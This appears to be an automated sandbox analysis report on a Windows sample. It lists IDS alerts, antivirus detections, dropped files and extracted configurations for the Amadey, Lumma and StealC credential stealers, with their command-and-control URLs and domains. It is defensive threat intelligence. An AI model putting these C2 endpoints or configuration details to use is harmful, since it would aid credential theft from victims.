2024-12-20T11:12:40.685310+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49847	172.67.197.170	443	TCP
2024-12-20T11:12:49.404910+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49873	172.67.197.170	443	TCP
2024-12-20T11:13:06.996945+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49943	104.21.23.76	443	TCP
2024-12-20T11:13:21.240345+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49988	172.67.177.88	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:42.691324+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49853	172.67.197.170	443	TCP
2024-12-20T11:12:51.475538+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49886	172.67.197.170	443	TCP
2024-12-20T11:13:09.017537+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49950	104.21.23.76	443	TCP
2024-12-20T11:13:23.595645+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49995	172.67.177.88	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:28.401442+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49814	172.67.197.170	443	TCP
2024-12-20T11:12:30.301296+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49821	172.67.197.170	443	TCP
2024-12-20T11:12:39.931810+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49847	172.67.197.170	443	TCP
2024-12-20T11:12:41.908247+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49853	172.67.197.170	443	TCP
2024-12-20T11:12:44.714549+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49859	172.67.197.170	443	TCP
2024-12-20T11:12:47.239410+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49867	172.67.197.170	443	TCP
2024-12-20T11:12:48.408298+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49873	172.67.197.170	443	TCP
2024-12-20T11:12:49.833483+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49878	172.67.197.170	443	TCP
2024-12-20T11:12:50.714097+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49886	172.67.197.170	443	TCP
2024-12-20T11:12:54.187224+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49896	172.67.197.170	443	TCP
2024-12-20T11:12:55.276377+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49901	172.67.197.170	443	TCP
2024-12-20T11:12:58.382968+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49914	172.67.197.170	443	TCP
2024-12-20T11:12:59.065187+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49915	172.67.197.170	443	TCP
2024-12-20T11:13:02.269780+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49929	172.67.197.170	443	TCP
2024-12-20T11:13:02.469524+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49930	172.67.197.170	443	TCP
2024-12-20T11:13:06.962783+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.4	49949	172.67.197.170	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:19.257280+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.4	49787	172.67.131.246	443	TCP
2024-12-20T11:12:21.144835+0100	2058425	1	Domain Observed Used for C2 Detected	192.168.2.4	49794	172.67.131.246	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:13:06.245124+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49943	104.21.23.76	443	TCP
2024-12-20T11:13:08.232404+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49950	104.21.23.76	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:19.942552+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49792	185.215.113.43	80	TCP
2024-12-20T11:12:28.429767+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49813	185.215.113.43	80	TCP
2024-12-20T11:12:38.289316+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49839	185.215.113.43	80	TCP
2024-12-20T11:12:45.505369+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49860	185.215.113.43	80	TCP
2024-12-20T11:12:56.055183+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49904	185.215.113.43	80	TCP
2024-12-20T11:13:03.080746+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49931	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:26.784058+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.4	51313	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:26.556172+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.4	56030	1.1.1.1	53	UDP
2024-12-20T11:12:38.539123+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.4	65070	1.1.1.1	53	UDP
2024-12-20T11:12:47.047076+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.4	64184	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lossekniyyt .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:17.569950+0100	2058424	1	Domain Observed Used for C2 Detected	192.168.2.4	56740	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:13:04.681495+0100	2058397	1	Domain Observed Used for C2 Detected	192.168.2.4	50886	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:26.329027+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.4	50106	1.1.1.1	53	UDP
2024-12-20T11:12:38.314521+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.4	54553	1.1.1.1	53	UDP
2024-12-20T11:12:46.904055+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.4	62931	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:41.057244+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49846	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:40.936516+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49846	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:41.377309+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49846	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:42.907488+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49846	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:41.505166+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49846	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:13:08.034884+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49949	172.67.197.170	443	TCP
2024-12-20T11:13:45.452765+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50038	172.67.177.88	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:40.495941+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49846	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:06.270850+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49753	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:18.597588+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49764	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:10.965343+0100	2803305	3	Unknown Traffic	192.168.2.4	49768	31.41.244.11	80	TCP
2024-12-20T11:12:21.423257+0100	2803305	3	Unknown Traffic	192.168.2.4	49793	185.215.113.16	80	TCP
2024-12-20T11:12:29.883126+0100	2803305	3	Unknown Traffic	192.168.2.4	49817	185.215.113.16	80	TCP
2024-12-20T11:12:39.770271+0100	2803305	3	Unknown Traffic	192.168.2.4	49845	185.215.113.16	80	TCP
2024-12-20T11:12:46.961281+0100	2803305	3	Unknown Traffic	192.168.2.4	49866	185.215.113.16	80	TCP
2024-12-20T11:12:57.517431+0100	2803305	3	Unknown Traffic	192.168.2.4	49907	31.41.244.11	80	TCP
2024-12-20T11:13:04.945633+0100	2803305	3	Unknown Traffic	192.168.2.4	49940	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:43.677881+0100	2803304	3	Unknown Traffic	192.168.2.4	49846	185.215.113.206	80	TCP
2024-12-20T11:13:02.058487+0100	2803304	3	Unknown Traffic	192.168.2.4	49905	185.215.113.206	80	TCP
2024-12-20T11:13:04.400290+0100	2803304	3	Unknown Traffic	192.168.2.4	49905	185.215.113.206	80	TCP
2024-12-20T11:13:06.071795+0100	2803304	3	Unknown Traffic	192.168.2.4	49905	185.215.113.206	80	TCP
2024-12-20T11:13:07.589488+0100	2803304	3	Unknown Traffic	192.168.2.4	49905	185.215.113.206	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:13:00.800064+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49915	172.67.197.170	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1018433001\1255b9ac14.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen

Found malware configuration

Source: 00000006.00000003.2317025706.0000000005190000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 7.2.6f93831ea2.exe.4613198.1.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["rapeflowwj.lat", "discokeyus.lat", "energyaffai.lat", "grannyejh.lat", "crosshuaht.lat", "sustainskelet.lat", "necklacebudi.lat", "aspecteirs.lat", "lossekniyyt.click"], "Build id": "9Z1cyc--"}
Source: 140460b5fe.exe.7808.11.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1018433001\1255b9ac14.exe	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 56%			Perma Link
Source: file.exe	ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018433001\1255b9ac14.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000000A.00000003.2554882954.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 0000000A.00000003.2554882954.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 0000000A.00000003.2554882954.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 0000000A.00000003.2554882954.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 0000000A.00000003.2554882954.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 0000000A.00000003.2554882954.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 0000000A.00000003.2554882954.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 0000000A.00000003.2554882954.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 0000000A.00000003.2554882954.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sweepyribs.lat
Source: 0000000A.00000003.2554882954.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000A.00000003.2554882954.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000A.00000003.2554882954.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000A.00000003.2554882954.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000A.00000003.2554882954.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000000A.00000003.2554882954.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String decryptor: PsFKDg--pablo

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.4:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49960 version: TLS 1.2

Source:	Binary string: C:\EF5\Source\EntityFramework\obj\Release\EntityFramework.pdb source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\JnTdehbm.pdb source: 6f93831ea2.exe, 00000007.00000002.2474133346.0000000005D60000.00000004.08000000.00040000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: sourceFinish_setup.pdb source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: PE.pdb source: 6f93831ea2.exe, 00000007.00000002.2471255478.0000000003580000.00000004.08000000.00040000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: .PDbPropertyValues_CannotGetValuesForState`/FDbPropertyValues_CannotSetNullValue source: 6f93831ea2.exe, 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, 6f93831ea2.exe, 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp

Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe

Directory queried: number of queries: 2002

Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 190MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49753 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058424 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lossekniyyt .click) : 192.168.2.4:56740 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.4:49794 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2058425 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI) : 192.168.2.4:49787 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49792 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49764
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:50106 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.4:56030 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49814 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49821 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.4:51313 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49813 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.4:65070 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49839 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:54553 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49847 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49846 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49846 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49846
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49846 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49846
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49853 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49846 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49859 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:62931 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.4:64184 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49867 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49873 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49878 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49886 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.4:49896 -> 172.67.197.170:443
